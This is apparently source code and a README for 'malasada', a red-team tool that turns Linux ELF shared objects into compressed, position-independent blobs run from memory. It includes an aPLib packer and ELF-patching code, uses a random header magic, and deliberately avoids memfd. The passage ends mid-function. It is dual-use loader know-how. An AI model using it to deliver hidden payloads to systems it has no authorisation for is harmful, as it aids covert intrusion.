[Donut](https://github.com/sliverarmory/wasm-donut) for Linux, converts a Linux ELF shared object (`.so`) into a position-independent `.bin` blob that can be executed directly from memory (for example, by copying it into an `mmap`'d region and jumping to it as a function pointer).
|
||||||
|
|
||||||
|
This project intentionally avoids `memfd` (`memfd_create`, `execveat` on memfd, etc).
|
||||||
|
|
||||||
|
## Supported Platforms
|
||||||
|
|
||||||
|
- Linux `amd64`
|
||||||
|
- Linux `arm64`
|
||||||
|
|
||||||
|
## Build
|
||||||
|
|
||||||
|
Requirements:
|
||||||
|
|
||||||
|
- Go 1.25+
|
||||||
|
- Zig 0.15+ (required for `go generate` and for tests)
|
||||||
|
|
||||||
|
Build the CLI:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
make
|
||||||
|
```
|
||||||
|
|
||||||
|
## Quick Start (Local)
|
||||||
|
|
||||||
|
Build a hello-world `.so`, convert it to a `.bin`, and run it with the included runner:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Build payload .so
|
||||||
|
go build -buildmode=c-shared -o /tmp/hello.so ./testdata/hello
|
||||||
|
|
||||||
|
# Convert .so -> .bin (call the exported symbol "Hello")
|
||||||
|
./malasada --call-export Hello -o /tmp/hello.bin /tmp/hello.so
|
||||||
|
|
||||||
|
# Optional: compress the embedded payload (stage0 will depack before loading)
|
||||||
|
./malasada --compress --call-export Hello -o /tmp/hello.compressed.bin /tmp/hello.so
|
||||||
|
|
||||||
|
# Build the runner (PIC shellcode executor) with zig cc
|
||||||
|
zig cc -O2 -o /tmp/runner ./testdata/runner/runner.c
|
||||||
|
|
||||||
|
# Run it (stage0 hands off to ld-linux; runner will not return)
|
||||||
|
/tmp/runner /tmp/hello.bin
|
||||||
|
```
|
||||||
|
|
||||||
|
Expected output contains:
|
||||||
|
|
||||||
|
```
|
||||||
|
hello from go
|
||||||
|
```
|
||||||
|
|
||||||
|
## go generate (Prebuild + Embed stage0)
|
||||||
|
|
||||||
|
The repo embeds prebuilt `stage0` blobs:
|
||||||
|
|
||||||
|
- `internal/stage0/stage0_linux_amd64.bin`
|
||||||
|
- `internal/stage0/stage0_linux_arm64.bin`
|
||||||
|
|
||||||
|
If you edit `internal/stage0/stage0.c` or `internal/stage0/linker.ld`, regenerate them:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
go generate ./...
|
||||||
|
```
|
||||||
|
|
||||||
|
The CLI always uses the embedded `stage0` blobs (no Zig needed at runtime). To change `stage0`, edit `internal/stage0/stage0.c` and re-run:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
go generate ./...
|
||||||
|
```
|
||||||
|
|
||||||
|
## Docker Test Harness
|
||||||
|
|
||||||
|
`testdata/Dockerfile` builds the CLI, builds the hello `.so`, converts it to a `.bin`, builds the runner with Zig, and runs the end-to-end test in a Linux container.
|
||||||
|
|
||||||
|
Examples:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
docker buildx build --platform linux/amd64 -f testdata/Dockerfile .
|
||||||
|
docker buildx build --platform linux/arm64 -f testdata/Dockerfile .
|
||||||
|
```
|
||||||
+201
@@ -0,0 +1,201 @@
|
|||||||
|
package aplib
|
||||||
|
|
||||||
|
import "errors"
|
||||||
|
|
||||||
|
var ErrCorrupt = errors.New("aplib: corrupt data")
|
||||||
|
|
||||||
|
// Depack decompresses a raw aPLib stream (without any safe header).
|
||||||
|
func Depack(src []byte) ([]byte, error) {
|
||||||
|
if len(src) == 0 {
|
||||||
|
return nil, ErrCorrupt
|
||||||
|
}
|
||||||
|
|
||||||
|
r := bitReader{src: src, pos: 1}
|
||||||
|
out := make([]byte, 0, len(src))
|
||||||
|
out = append(out, src[0])
|
||||||
|
|
||||||
|
var (
|
||||||
|
r0 uint32 = ^uint32(0)
|
||||||
|
lwm uint32 = 0
|
||||||
|
)
|
||||||
|
|
||||||
|
for {
|
||||||
|
bit, ok := r.getBit()
|
||||||
|
if !ok {
|
||||||
|
return nil, ErrCorrupt
|
||||||
|
}
|
||||||
|
|
||||||
|
if bit == 0 {
|
||||||
|
b, ok := r.getByte()
|
||||||
|
if !ok {
|
||||||
|
return nil, ErrCorrupt
|
||||||
|
}
|
||||||
|
out = append(out, b)
|
||||||
|
lwm = 0
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
bit, ok = r.getBit()
|
||||||
|
if !ok {
|
||||||
|
return nil, ErrCorrupt
|
||||||
|
}
|
||||||
|
|
||||||
|
if bit == 0 {
|
||||||
|
offs, ok := r.getGamma()
|
||||||
|
if !ok {
|
||||||
|
return nil, ErrCorrupt
|
||||||
|
}
|
||||||
|
|
||||||
|
if lwm == 0 && offs == 2 {
|
||||||
|
offs = r0
|
||||||
|
ln, ok := r.getGamma()
|
||||||
|
if !ok {
|
||||||
|
return nil, ErrCorrupt
|
||||||
|
}
|
||||||
|
if offs == 0 || int(offs) > len(out) {
|
||||||
|
return nil, ErrCorrupt
|
||||||
|
}
|
||||||
|
for i := uint32(0); i < ln; i++ {
|
||||||
|
out = append(out, out[len(out)-int(offs)])
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
if lwm == 0 {
|
||||||
|
if offs < 3 {
|
||||||
|
return nil, ErrCorrupt
|
||||||
|
}
|
||||||
|
offs -= 3
|
||||||
|
} else {
|
||||||
|
if offs < 2 {
|
||||||
|
return nil, ErrCorrupt
|
||||||
|
}
|
||||||
|
offs -= 2
|
||||||
|
}
|
||||||
|
|
||||||
|
lo, ok := r.getByte()
|
||||||
|
if !ok {
|
||||||
|
return nil, ErrCorrupt
|
||||||
|
}
|
||||||
|
offs = (offs << 8) + uint32(lo)
|
||||||
|
|
||||||
|
ln, ok := r.getGamma()
|
||||||
|
if !ok {
|
||||||
|
return nil, ErrCorrupt
|
||||||
|
}
|
||||||
|
if offs >= 32000 {
|
||||||
|
ln++
|
||||||
|
}
|
||||||
|
if offs >= 1280 {
|
||||||
|
ln++
|
||||||
|
}
|
||||||
|
if offs < 128 {
|
||||||
|
ln += 2
|
||||||
|
}
|
||||||
|
if offs == 0 || int(offs) > len(out) {
|
||||||
|
return nil, ErrCorrupt
|
||||||
|
}
|
||||||
|
for i := uint32(0); i < ln; i++ {
|
||||||
|
out = append(out, out[len(out)-int(offs)])
|
||||||
|
}
|
||||||
|
r0 = offs
|
||||||
|
}
|
||||||
|
|
||||||
|
lwm = 1
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
bit, ok = r.getBit()
|
||||||
|
if !ok {
|
||||||
|
return nil, ErrCorrupt
|
||||||
|
}
|
||||||
|
if bit == 0 {
|
||||||
|
b, ok := r.getByte()
|
||||||
|
if !ok {
|
||||||
|
return nil, ErrCorrupt
|
||||||
|
}
|
||||||
|
ln := uint32(2 + (b & 1))
|
||||||
|
offs := uint32(b >> 1)
|
||||||
|
if offs == 0 {
|
||||||
|
break
|
||||||
|
}
|
||||||
|
if int(offs) > len(out) {
|
||||||
|
return nil, ErrCorrupt
|
||||||
|
}
|
||||||
|
for i := uint32(0); i < ln; i++ {
|
||||||
|
out = append(out, out[len(out)-int(offs)])
|
||||||
|
}
|
||||||
|
r0 = offs
|
||||||
|
lwm = 1
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
// bit == 1: 1 1 1
|
||||||
|
offs := uint32(0)
|
||||||
|
for i := 0; i < 4; i++ {
|
||||||
|
bit, ok := r.getBit()
|
||||||
|
if !ok {
|
||||||
|
return nil, ErrCorrupt
|
||||||
|
}
|
||||||
|
offs = (offs << 1) + uint32(bit)
|
||||||
|
}
|
||||||
|
if offs != 0 {
|
||||||
|
if int(offs) > len(out) {
|
||||||
|
return nil, ErrCorrupt
|
||||||
|
}
|
||||||
|
out = append(out, out[len(out)-int(offs)])
|
||||||
|
} else {
|
||||||
|
out = append(out, 0)
|
||||||
|
}
|
||||||
|
lwm = 0
|
||||||
|
}
|
||||||
|
|
||||||
|
return out, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
type bitReader struct {
|
||||||
|
src []byte
|
||||||
|
pos int
|
||||||
|
tag byte
|
||||||
|
bitCount int
|
||||||
|
}
|
||||||
|
|
||||||
|
func (r *bitReader) getByte() (byte, bool) {
|
||||||
|
if r.pos >= len(r.src) {
|
||||||
|
return 0, false
|
||||||
|
}
|
||||||
|
b := r.src[r.pos]
|
||||||
|
r.pos++
|
||||||
|
return b, true
|
||||||
|
}
|
||||||
|
|
||||||
|
func (r *bitReader) getBit() (uint8, bool) {
|
||||||
|
if r.bitCount == 0 {
|
||||||
|
if r.pos >= len(r.src) {
|
||||||
|
return 0, false
|
||||||
|
}
|
||||||
|
r.tag = r.src[r.pos]
|
||||||
|
r.pos++
|
||||||
|
r.bitCount = 8
|
||||||
|
}
|
||||||
|
bit := (r.tag >> 7) & 1
|
||||||
|
r.tag <<= 1
|
||||||
|
r.bitCount--
|
||||||
|
return bit, true
|
||||||
|
}
|
||||||
|
|
||||||
|
func (r *bitReader) getGamma() (uint32, bool) {
|
||||||
|
v := uint32(1)
|
||||||
|
for {
|
||||||
|
bit, ok := r.getBit()
|
||||||
|
if !ok {
|
||||||
|
return 0, false
|
||||||
|
}
|
||||||
|
v = (v << 1) + uint32(bit)
|
||||||
|
bit, ok = r.getBit()
|
||||||
|
if !ok {
|
||||||
|
return 0, false
|
||||||
|
}
|
||||||
|
if bit == 0 {
|
||||||
|
return v, true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+202
@@ -0,0 +1,202 @@
|
|||||||
|
package aplib
|
||||||
|
|
||||||
|
import (
|
||||||
|
"encoding/binary"
|
||||||
|
"errors"
|
||||||
|
"math/bits"
|
||||||
|
)
|
||||||
|
|
||||||
|
var (
|
||||||
|
ErrEmptyInput = errors.New("aplib: empty input")
|
||||||
|
ErrTooLarge = errors.New("aplib: input too large")
|
||||||
|
)
|
||||||
|
|
||||||
|
// Pack compresses src into the raw aPLib bitstream format expected by aP_depack().
|
||||||
|
//
|
||||||
|
// This implements a compatible (not necessarily optimal) encoder which is sufficient
|
||||||
|
// for the loader to depack staged dylibs.
|
||||||
|
func Pack(src []byte) ([]byte, error) {
|
||||||
|
if len(src) == 0 {
|
||||||
|
return nil, ErrEmptyInput
|
||||||
|
}
|
||||||
|
if uint64(len(src)) > uint64(^uint32(0)) {
|
||||||
|
return nil, ErrTooLarge
|
||||||
|
}
|
||||||
|
|
||||||
|
w := newBitWriter(src[0])
|
||||||
|
lastWasMatch := false // LWM=0 at stream start
|
||||||
|
|
||||||
|
const (
|
||||||
|
hashBits = 16
|
||||||
|
minMatchLen = 4
|
||||||
|
)
|
||||||
|
|
||||||
|
hashTable := make([]int, 1<<hashBits) // stores pos+1
|
||||||
|
|
||||||
|
hash4 := func(b []byte) uint32 {
|
||||||
|
v := binary.LittleEndian.Uint32(b)
|
||||||
|
return (v * 2654435761) >> (32 - hashBits)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Seed with position 0 if we can hash it.
|
||||||
|
if len(src) >= 4 {
|
||||||
|
h := hash4(src[:4])
|
||||||
|
hashTable[h] = 0 + 1
|
||||||
|
}
|
||||||
|
|
||||||
|
pos := 1
|
||||||
|
for pos < len(src) {
|
||||||
|
bestOff := 0
|
||||||
|
bestLen := 0
|
||||||
|
|
||||||
|
if pos+minMatchLen <= len(src) {
|
||||||
|
h := hash4(src[pos : pos+4])
|
||||||
|
candidate := hashTable[h] - 1
|
||||||
|
hashTable[h] = pos + 1
|
||||||
|
|
||||||
|
if candidate >= 0 && candidate < pos {
|
||||||
|
off := pos - candidate
|
||||||
|
if off > 0 {
|
||||||
|
l := 0
|
||||||
|
for pos+l < len(src) && src[candidate+l] == src[pos+l] {
|
||||||
|
l++
|
||||||
|
}
|
||||||
|
if l >= minMatchLen {
|
||||||
|
bestOff = off
|
||||||
|
bestLen = l
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else if pos+4 <= len(src) {
|
||||||
|
h := hash4(src[pos : pos+4])
|
||||||
|
hashTable[h] = pos + 1
|
||||||
|
}
|
||||||
|
|
||||||
|
if bestLen >= minMatchLen {
|
||||||
|
w.writeBit(1)
|
||||||
|
w.writeBit(0)
|
||||||
|
|
||||||
|
base := uint32(3)
|
||||||
|
if lastWasMatch {
|
||||||
|
base = 2
|
||||||
|
}
|
||||||
|
|
||||||
|
hi := uint32(bestOff >> 8)
|
||||||
|
lo := byte(bestOff & 0xff)
|
||||||
|
|
||||||
|
w.writeGamma(hi + base)
|
||||||
|
w.writeByte(lo)
|
||||||
|
|
||||||
|
adj := uint32(0)
|
||||||
|
if bestOff >= 32000 {
|
||||||
|
adj++
|
||||||
|
}
|
||||||
|
if bestOff >= 1280 {
|
||||||
|
adj++
|
||||||
|
}
|
||||||
|
if bestOff < 128 {
|
||||||
|
adj += 2
|
||||||
|
}
|
||||||
|
|
||||||
|
gammaLen := uint32(bestLen) - adj
|
||||||
|
if gammaLen < 2 {
|
||||||
|
// Should not happen with minMatchLen>=4, but fall back safely.
|
||||||
|
w.writeBit(0)
|
||||||
|
w.writeByte(src[pos])
|
||||||
|
lastWasMatch = false
|
||||||
|
pos++
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
w.writeGamma(gammaLen)
|
||||||
|
|
||||||
|
lastWasMatch = true
|
||||||
|
|
||||||
|
end := pos + bestLen
|
||||||
|
if end > len(src) {
|
||||||
|
end = len(src)
|
||||||
|
}
|
||||||
|
for p := pos; p < end; p++ {
|
||||||
|
if p+4 <= len(src) {
|
||||||
|
h := hash4(src[p : p+4])
|
||||||
|
hashTable[h] = p + 1
|
||||||
|
}
|
||||||
|
}
|
||||||
|
pos = end
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
w.writeBit(0)
|
||||||
|
w.writeByte(src[pos])
|
||||||
|
lastWasMatch = false
|
||||||
|
pos++
|
||||||
|
}
|
||||||
|
|
||||||
|
// End marker: 1 1 0 then offs byte = 0.
|
||||||
|
w.writeBit(1)
|
||||||
|
w.writeBit(1)
|
||||||
|
w.writeBit(0)
|
||||||
|
w.writeByte(0)
|
||||||
|
|
||||||
|
return w.out, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
type bitWriter struct {
|
||||||
|
out []byte
|
||||||
|
tagIndex int
|
||||||
|
bitPos int
|
||||||
|
}
|
||||||
|
|
||||||
|
func newBitWriter(firstLiteral byte) *bitWriter {
|
||||||
|
return &bitWriter{
|
||||||
|
out: []byte{firstLiteral},
|
||||||
|
tagIndex: -1,
|
||||||
|
bitPos: -1,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (w *bitWriter) startTag() {
|
||||||
|
w.out = append(w.out, 0)
|
||||||
|
w.tagIndex = len(w.out) - 1
|
||||||
|
w.bitPos = 7
|
||||||
|
}
|
||||||
|
|
||||||
|
func (w *bitWriter) ensureTag() {
|
||||||
|
if w.tagIndex < 0 || w.bitPos < 0 {
|
||||||
|
w.startTag()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (w *bitWriter) writeBit(bit uint32) {
|
||||||
|
w.ensureTag()
|
||||||
|
if bit != 0 {
|
||||||
|
w.out[w.tagIndex] |= 1 << w.bitPos
|
||||||
|
}
|
||||||
|
w.bitPos--
|
||||||
|
}
|
||||||
|
|
||||||
|
func (w *bitWriter) writeByte(b byte) {
|
||||||
|
w.out = append(w.out, b)
|
||||||
|
}
|
||||||
|
|
||||||
|
// writeGamma writes the "gamma2" coding used by aPLib.
|
||||||
|
//
|
||||||
|
// Valid values are >= 2. Values < 2 are not representable.
|
||||||
|
func (w *bitWriter) writeGamma(v uint32) {
|
||||||
|
// aP_getgamma() starts at 1 and runs the body at least once, so the minimum
|
||||||
|
// representable value is 2.
|
||||||
|
if v < 2 {
|
||||||
|
v = 2
|
||||||
|
}
|
||||||
|
|
||||||
|
// For each bit after the MSB, output (dataBit, continueBit).
|
||||||
|
n := bits.Len32(v)
|
||||||
|
for shift := n - 2; shift >= 0; shift-- {
|
||||||
|
dataBit := (v >> shift) & 1
|
||||||
|
w.writeBit(dataBit)
|
||||||
|
continueBit := uint32(0)
|
||||||
|
if shift != 0 {
|
||||||
|
continueBit = 1
|
||||||
|
}
|
||||||
|
w.writeBit(continueBit)
|
||||||
|
}
|
||||||
|
}
|
||||||
+74
@@ -0,0 +1,74 @@
|
|||||||
|
package aplib
|
||||||
|
|
||||||
|
import (
|
||||||
|
"encoding/binary"
|
||||||
|
"errors"
|
||||||
|
"hash/crc32"
|
||||||
|
)
|
||||||
|
|
||||||
|
const (
|
||||||
|
safeTag = 0x32335041 // 'AP32'
|
||||||
|
safeHeaderSize = 24
|
||||||
|
)
|
||||||
|
|
||||||
|
var ErrBadHeader = errors.New("aplib: bad safe header")
|
||||||
|
|
||||||
|
// PackSafe returns a safe-packed aPLib buffer (AP32 header + raw stream).
|
||||||
|
func PackSafe(src []byte) ([]byte, error) {
|
||||||
|
if len(src) == 0 {
|
||||||
|
return nil, ErrEmptyInput
|
||||||
|
}
|
||||||
|
if uint64(len(src)) > uint64(^uint32(0)) {
|
||||||
|
return nil, ErrTooLarge
|
||||||
|
}
|
||||||
|
|
||||||
|
packed, err := Pack(src)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
if uint64(len(packed)) > uint64(^uint32(0)) {
|
||||||
|
return nil, ErrTooLarge
|
||||||
|
}
|
||||||
|
|
||||||
|
hdr := make([]byte, safeHeaderSize)
|
||||||
|
binary.LittleEndian.PutUint32(hdr[0:4], safeTag)
|
||||||
|
binary.LittleEndian.PutUint32(hdr[4:8], safeHeaderSize)
|
||||||
|
binary.LittleEndian.PutUint32(hdr[8:12], uint32(len(packed)))
|
||||||
|
binary.LittleEndian.PutUint32(hdr[12:16], crc32.ChecksumIEEE(packed))
|
||||||
|
binary.LittleEndian.PutUint32(hdr[16:20], uint32(len(src)))
|
||||||
|
binary.LittleEndian.PutUint32(hdr[20:24], crc32.ChecksumIEEE(src))
|
||||||
|
|
||||||
|
out := make([]byte, 0, len(hdr)+len(packed))
|
||||||
|
out = append(out, hdr...)
|
||||||
|
out = append(out, packed...)
|
||||||
|
return out, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// DepackSafe depacks an AP32 header + aPLib buffer.
|
||||||
|
func DepackSafe(src []byte) ([]byte, error) {
|
||||||
|
if len(src) < safeHeaderSize {
|
||||||
|
return nil, ErrBadHeader
|
||||||
|
}
|
||||||
|
if binary.LittleEndian.Uint32(src[0:4]) != safeTag {
|
||||||
|
return nil, ErrBadHeader
|
||||||
|
}
|
||||||
|
headerSize := binary.LittleEndian.Uint32(src[4:8])
|
||||||
|
if headerSize < safeHeaderSize || headerSize > uint32(len(src)) {
|
||||||
|
return nil, ErrBadHeader
|
||||||
|
}
|
||||||
|
packedSize := binary.LittleEndian.Uint32(src[8:12])
|
||||||
|
if uint64(headerSize)+uint64(packedSize) > uint64(len(src)) {
|
||||||
|
return nil, ErrBadHeader
|
||||||
|
}
|
||||||
|
origSize := binary.LittleEndian.Uint32(src[16:20])
|
||||||
|
|
||||||
|
body := src[headerSize : headerSize+packedSize]
|
||||||
|
out, err := Depack(body)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
if uint32(len(out)) != origSize {
|
||||||
|
return nil, ErrCorrupt
|
||||||
|
}
|
||||||
|
return out, nil
|
||||||
|
}
|
||||||
BIN
Binary file not shown.
BIN
Binary file not shown.
+896
@@ -0,0 +1,896 @@
|
|||||||
|
package malasada
|
||||||
|
|
||||||
|
import (
|
||||||
|
"bytes"
|
||||||
|
"crypto/rand"
|
||||||
|
"debug/elf"
|
||||||
|
_ "embed"
|
||||||
|
"encoding/binary"
|
||||||
|
"errors"
|
||||||
|
"fmt"
|
||||||
|
"os"
|
||||||
|
"strings"
|
||||||
|
|
||||||
|
keystone "github.com/moloch--/go-keystone"
|
||||||
|
"github.com/sliverarmory/malasada/internal/aplib"
|
||||||
|
)
|
||||||
|
|
||||||
|
// Arch is a linux architecture supported by malasada.
|
||||||
|
type Arch int
|
||||||
|
|
||||||
|
const (
|
||||||
|
ArchUnknown Arch = iota
|
||||||
|
ArchLinuxAMD64
|
||||||
|
ArchLinuxARM64
|
||||||
|
)
|
||||||
|
|
||||||
|
func (a Arch) String() string {
|
||||||
|
switch a {
|
||||||
|
case ArchLinuxAMD64:
|
||||||
|
return "linux/amd64"
|
||||||
|
case ArchLinuxARM64:
|
||||||
|
return "linux/arm64"
|
||||||
|
default:
|
||||||
|
return "unknown"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func archFromELFMachine(m elf.Machine) (Arch, error) {
|
||||||
|
switch m {
|
||||||
|
case elf.EM_X86_64:
|
||||||
|
return ArchLinuxAMD64, nil
|
||||||
|
case elf.EM_AARCH64:
|
||||||
|
return ArchLinuxARM64, nil
|
||||||
|
default:
|
||||||
|
return ArchUnknown, fmt.Errorf("unsupported ELF machine %v", m)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
var (
|
||||||
|
errBadELF = errors.New("bad ELF")
|
||||||
|
)
|
||||||
|
|
||||||
|
// DefaultCallExport is the default exported symbol name called by the generated
|
||||||
|
// entry stub when the caller does not specify one.
|
||||||
|
const DefaultCallExport = "StartW"
|
||||||
|
|
||||||
|
// ConvertSharedObject reads a Linux ELF shared object from soPath, patches it to
|
||||||
|
// call exportName as the process entrypoint, and wraps it with the stage0 loader
|
||||||
|
// to produce an executable PIC .bin blob.
|
||||||
|
func ConvertSharedObject(soPath string, exportName string, compress bool) ([]byte, error) {
|
||||||
|
if exportName == "" {
|
||||||
|
exportName = DefaultCallExport
|
||||||
|
}
|
||||||
|
so, err := os.ReadFile(soPath)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
// Common footgun: Go's buildmode=c-archive produces an ar archive (.a), which
|
||||||
|
// is sometimes misnamed as ".so". Provide a clear error early.
|
||||||
|
if bytes.HasPrefix(so, []byte("!<arch>\n")) {
|
||||||
|
return nil, fmt.Errorf("input %q is an ar archive (likely built with -buildmode=c-archive); malasada requires an ELF shared object (.so). Rebuild with: go build -buildmode=c-shared -o payload.so <pkg>", soPath)
|
||||||
|
}
|
||||||
|
|
||||||
|
arch, patchedSO, err := patchSOToCallExport(so, exportName)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
payload := patchedSO
|
||||||
|
if compress {
|
||||||
|
payload, err = aplib.PackSafe(patchedSO)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
stage0, err := buildStage0(arch)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
if err := patchStage0PayloadLen(stage0, uint64(len(payload))); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
out := make([]byte, 0, len(stage0)+len(payload))
|
||||||
|
out = append(out, stage0...)
|
||||||
|
out = append(out, payload...)
|
||||||
|
return out, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// -----------------------------
|
||||||
|
// stage0 build + patching
|
||||||
|
// -----------------------------
|
||||||
|
|
||||||
|
const msdaMagicLen = 8
|
||||||
|
|
||||||
|
var msdaMagic = newMSDAMagic()
|
||||||
|
|
||||||
|
func newMSDAMagic() []byte {
|
||||||
|
const letters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
|
||||||
|
if len(letters) != 52 {
|
||||||
|
// If this ever changes, the rejection-sampling below must be updated.
|
||||||
|
panic("msda magic: unexpected alphabet length")
|
||||||
|
}
|
||||||
|
|
||||||
|
// 52*4 is the largest multiple of 52 < 256, so we can map bytes uniformly.
|
||||||
|
const cutoff = 52 * 4 // 208
|
||||||
|
|
||||||
|
out := make([]byte, msdaMagicLen)
|
||||||
|
out[0] = 'M'
|
||||||
|
for i := 1; i < len(out); {
|
||||||
|
var buf [32]byte
|
||||||
|
if _, err := rand.Read(buf[:]); err != nil {
|
||||||
|
// Extremely unlikely; fall back to the historical magic.
|
||||||
|
copy(out, []byte("MALASADA"))
|
||||||
|
return out
|
||||||
|
}
|
||||||
|
for _, b := range buf {
|
||||||
|
if b >= cutoff {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
out[i] = letters[int(b)%len(letters)]
|
||||||
|
i++
|
||||||
|
if i == len(out) {
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return out
|
||||||
|
}
|
||||||
|
|
||||||
|
//go:generate go run ./internal/stage0/genstage0 -out internal/stage0
|
||||||
|
|
||||||
|
// Prebuilt stage0 blobs (generated by `go generate`). These are embedded so the
|
||||||
|
// CLI can convert .so -> .bin without needing zig at runtime.
|
||||||
|
//
|
||||||
|
// IMPORTANT: Always copy before mutating; embed-backed bytes may live in
|
||||||
|
// read-only memory.
|
||||||
|
//
|
||||||
|
//go:embed internal/stage0/stage0_linux_amd64.bin
|
||||||
|
var stage0LinuxAMD64Prebuilt []byte
|
||||||
|
|
||||||
|
//go:embed internal/stage0/stage0_linux_arm64.bin
|
||||||
|
var stage0LinuxARM64Prebuilt []byte
|
||||||
|
|
||||||
|
func patchStage0PayloadLen(stage0 []byte, payloadLen uint64) error {
|
||||||
|
// The stage0 linker script forces the msda header to the end of the extracted
|
||||||
|
// .text. We enforce that invariant so we can append the payload bytes directly
|
||||||
|
// after the header.
|
||||||
|
const headerSize = 8 + 4 + 4 + 8
|
||||||
|
if len(stage0) < headerSize {
|
||||||
|
return fmt.Errorf("stage0 too small")
|
||||||
|
}
|
||||||
|
|
||||||
|
off := len(stage0) - headerSize
|
||||||
|
hdr := stage0[off:]
|
||||||
|
if binary.LittleEndian.Uint32(hdr[8:12]) != 1 {
|
||||||
|
return fmt.Errorf("stage0 has unexpected msda version")
|
||||||
|
}
|
||||||
|
arch := binary.LittleEndian.Uint32(hdr[12:16])
|
||||||
|
if arch != 1 && arch != 2 {
|
||||||
|
return fmt.Errorf("stage0 has unexpected msda arch")
|
||||||
|
}
|
||||||
|
|
||||||
|
if len(msdaMagic) != 8 {
|
||||||
|
return fmt.Errorf("internal error: msdaMagic length is %d, want 8", len(msdaMagic))
|
||||||
|
}
|
||||||
|
copy(hdr[0:8], msdaMagic)
|
||||||
|
|
||||||
|
// payload_len is at offset 16 from magic start.
|
||||||
|
binary.LittleEndian.PutUint64(hdr[16:24], payloadLen)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func buildStage0(arch Arch) ([]byte, error) {
|
||||||
|
var prebuilt []byte
|
||||||
|
switch arch {
|
||||||
|
case ArchLinuxAMD64:
|
||||||
|
prebuilt = stage0LinuxAMD64Prebuilt
|
||||||
|
case ArchLinuxARM64:
|
||||||
|
prebuilt = stage0LinuxARM64Prebuilt
|
||||||
|
default:
|
||||||
|
return nil, fmt.Errorf("unsupported arch %v", arch)
|
||||||
|
}
|
||||||
|
if len(prebuilt) == 0 {
|
||||||
|
return nil, fmt.Errorf("missing embedded stage0 for %v (run `go generate ./...`)", arch)
|
||||||
|
}
|
||||||
|
stage0 := make([]byte, len(prebuilt))
|
||||||
|
copy(stage0, prebuilt)
|
||||||
|
return stage0, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// -----------------------------
|
||||||
|
// .so patching (call export)
|
||||||
|
// -----------------------------
|
||||||
|
|
||||||
|
const (
|
||||||
|
elf64HeaderSize = 64
|
||||||
|
elf64PhdrSize = 56
|
||||||
|
|
||||||
|
ptLoad = 1
|
||||||
|
ptDynamic = 2
|
||||||
|
ptInterp = 3
|
||||||
|
ptNote = 4
|
||||||
|
ptPhdr = 6
|
||||||
|
|
||||||
|
ptGnuEhFrame = 0x6474e550
|
||||||
|
ptGnuStack = 0x6474e551
|
||||||
|
)
|
||||||
|
|
||||||
|
const (
|
||||||
|
pfX = 0x1
|
||||||
|
pfW = 0x2
|
||||||
|
pfR = 0x4
|
||||||
|
)
|
||||||
|
|
||||||
|
const (
|
||||||
|
dtNull = 0
|
||||||
|
dtFlags1 = 0x6ffffffb
|
||||||
|
|
||||||
|
dtInit = 12
|
||||||
|
dtInitArray = 25
|
||||||
|
dtInitArraySz = 27
|
||||||
|
dtPreinitArray = 32
|
||||||
|
dtPreinitArraySz = 33
|
||||||
|
)
|
||||||
|
|
||||||
|
const (
|
||||||
|
df1Pie = 0x08000000
|
||||||
|
)
|
||||||
|
|
||||||
|
type elf64Ehdr struct {
|
||||||
|
ident [16]byte
|
||||||
|
typ uint16
|
||||||
|
machine uint16
|
||||||
|
version uint32
|
||||||
|
entry uint64
|
||||||
|
phoff uint64
|
||||||
|
shoff uint64
|
||||||
|
flags uint32
|
||||||
|
ehsize uint16
|
||||||
|
phentsize uint16
|
||||||
|
phnum uint16
|
||||||
|
shentsize uint16
|
||||||
|
shnum uint16
|
||||||
|
shstrndx uint16
|
||||||
|
_entryOff int
|
||||||
|
_phoffOff int
|
||||||
|
_phnumOff int
|
||||||
|
_phentsOff int
|
||||||
|
}
|
||||||
|
|
||||||
|
type elf64Phdr struct {
|
||||||
|
typ uint32
|
||||||
|
flags uint32
|
||||||
|
off uint64
|
||||||
|
vaddr uint64
|
||||||
|
paddr uint64
|
||||||
|
filesz uint64
|
||||||
|
memsz uint64
|
||||||
|
align uint64
|
||||||
|
|
||||||
|
fileOff int // where this phdr starts in the file
|
||||||
|
}
|
||||||
|
|
||||||
|
func parseELF64Header(b []byte) (*elf64Ehdr, error) {
|
||||||
|
if len(b) < elf64HeaderSize {
|
||||||
|
return nil, errBadELF
|
||||||
|
}
|
||||||
|
var h elf64Ehdr
|
||||||
